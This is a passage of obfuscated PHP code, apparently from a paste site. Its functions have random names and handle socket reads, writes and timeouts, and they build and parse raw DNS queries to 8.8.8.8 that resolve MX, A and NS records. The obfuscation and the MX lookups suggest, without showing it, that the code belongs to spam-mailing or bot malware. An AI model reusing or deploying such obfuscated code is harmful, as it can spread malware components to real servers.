- $ttsxi60 = socket_strerror($jmvht55);
- }
- } else {
- if (@feof($drtgm97)) {
- return FALSE;
- }
- $qugkp78 = @fread($drtgm97, $wvnpi33);
- if (strlen($qugkp78) == 0) {
- $jmvht55 = 35;
- }
- }
- return $qugkp78;
- }
- function fmwwl90($r42, $drtgm97, $vvrje90, &$jmvht55, &$ttsxi60)
- {
- if ($drtgm97 == FALSE) {
- return FALSE;
- }
- if (constant('SOCKET_TYPE') == constant('SOCKET_TYPE_SOCKET')) {
- $qugkp78 = @socket_write($drtgm97, $vvrje90);
- if ($qugkp78 == FALSE) {
- $jmvht55 = socket_last_error($drtgm97);
- $ttsxi60 = socket_strerror($jmvht55);
- }
- } else {
- if (@feof($drtgm97)) {
- return FALSE;
- }
- $qugkp78 = @fwrite($drtgm97, $vvrje90);
- }
- return $qugkp78;
- }
- function xbeqq8($r42, $drtgm97, $aikce84)
- {
- if ($drtgm97 == FALSE) {
- return FALSE;
- }
- if (constant('SOCKET_TYPE') == constant('SOCKET_TYPE_SOCKET')) {
- @socket_set_option($drtgm97, SOL_SOCKET, SO_RCVTIMEO, array(
- 'sec' => $aikce84,
- 'usec' => 0
- ));
- @socket_set_option($drtgm97, SOL_SOCKET, SO_SNDTIMEO, array(
- 'sec' => $aikce84,
- 'usec' => 0
- ));
- } else {
- @stream_set_timeout($drtgm97, $aikce84);
- }
- return TRUE;
- }
- function herwg20($r42, $ojgjp4, $gtngv41)
- {
- $jmvht55 = 0;
- $ttsxi60 = "";
- $drtgm97 = wldwf87($r42, FALSE, constant('SOCKET_PROTO_UDP'), '8.8.8.8', 53, 10, $jmvht55, $ttsxi60);
- if (!$drtgm97) {
- return FALSE;
- }
- $exiom78 = rand(0x0001, 0xFFFE);
- $nnvrb27 = explode('.', $ojgjp4);
- $zrfhs37 = pack('nnnnnn', $exiom78, 0x0100, 0x0001, 0x0000, 0x0000, 0x0000);
- foreach ($nnvrb27 as $xedcw9) {
- $zrfhs37 .= pack('Ca*', strlen($xedcw9), $xedcw9);
- }
- $zrfhs37 .= pack('Cnn', 0x00, $gtngv41, 0x0001);
- $adkol45 = fmwwl90($r42, $drtgm97, $zrfhs37, $jmvht55, $ttsxi60);
- if (!$adkol45 || $adkol45 != strlen($zrfhs37)) {
- etkcc59($r42, $drtgm97);
- return FALSE;
- }
- $pcnjy35 = tenht73($r42, $drtgm97, 4086, $jmvht55, $ttsxi60);
- if ($pcnjy35 == FALSE || strlen($pcnjy35) < 12) {
- etkcc59($r42, $drtgm97);
- return FALSE;
- }
- $cwrth30 = unpack('ntid/nflags/nque/nans/nauth/nadd', substr($pcnjy35, 0, 12));
- $kdlnh6 = 12;
- $qugkp78 = array(
- 'header' => $cwrth30
- );
- for ($uuuqf17 = constant('DNS_STEP_QESTION'); $uuuqf17 <= constant('DNS_STEP_ADDITIONAL'); $uuuqf17++) {
- $agzzp98 = '';
- switch ($uuuqf17) {
- case constant('DNS_STEP_QESTION'):
- $agzzp98 = 'que';
- break;
- case constant('DNS_STEP_ANSWER'):
- $agzzp98 = 'ans';
- break;
- case constant('DNS_STEP_AUTHORITY'):
- $agzzp98 = 'auth';
- break;
- case constant('DNS_STEP_ADDITIONAL'):
- $agzzp98 = 'add';
- break;
- }
- for ($bubil25 = 0; $bubil25 < $cwrth30[$agzzp98]; $bubil25++) {
- $xexbl32['name'] = gxhti26($r42, $kdlnh6, $pcnjy35);
- if ($uuuqf17 == constant('DNS_STEP_QESTION')) {
- $xexbl32 = array_merge($xexbl32, unpack('ntype/nclass', substr($pcnjy35, $kdlnh6, 4)));
- $kdlnh6 += 4;
- } else {
- $xexbl32 = array_merge($xexbl32, unpack('ntype/nclass/Nttl/ndatalength', substr($pcnjy35, $kdlnh6, 10)));
- $kdlnh6 += 10;
- switch ($xexbl32['type']) {
- case constant('DNS_TYPE_MX'):
- $xexbl32 = array_merge($xexbl32, unpack('npreference', substr($pcnjy35, $kdlnh6, 2)));
- $kdlnh6 += 2;
- $xexbl32['data'] = gxhti26($r42, $kdlnh6, $pcnjy35);
- break;
- case constant('DNS_TYPE_A'):
- $xexbl32 = array_merge($xexbl32, unpack('Ndata', substr($pcnjy35, $kdlnh6, 4)));
- $kdlnh6 += 4;
- $xexbl32['ip'] = long2ip($xexbl32['data']);
- break;
- case constant('DNS_TYPE_NS'):
- $xexbl32['data'] = gxhti26($r42, $kdlnh6, $pcnjy35);
- break;
- default:
- $kdlnh6 += $xexbl32['datalength'];
- }
- }
- $qugkp78[$agzzp98][] = $xexbl32;
- }
- }
- return $qugkp78;
- }
- function gxhti26($r42, &$lepje39, $pcnjy35)
- {
- $qugkp78 = "";
- $pgmhd22 = $lepje39;
- while (ord($pcnjy35[$pgmhd22]) != 0) {
- if (ord($pcnjy35[$pgmhd22]) == 0xC0) {
- if ($pgmhd22 >= $lepje39) {
- $lepje39 += 2;
- }
- $pgmhd22 = ord($pcnjy35[$pgmhd22 + 1]);
- continue;
- }
- if (strlen($qugkp78) > 0) {
- $qugkp78 .= '.';
- }
- $qugkp78 .= substr($pcnjy35, $pgmhd22 + 1, ord($pcnjy35[$pgmhd22]));
- $pgmhd22 += ord($pcnjy35[$pgmhd22]) + 1;
- if ($pgmhd22 > $lepje39) {
- $lepje39 = $pgmhd22;
- }
- }
- if ($pgmhd22 >= $lepje39) {
- $lepje39 += 1;
- }
- return $qugkp78;
- }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement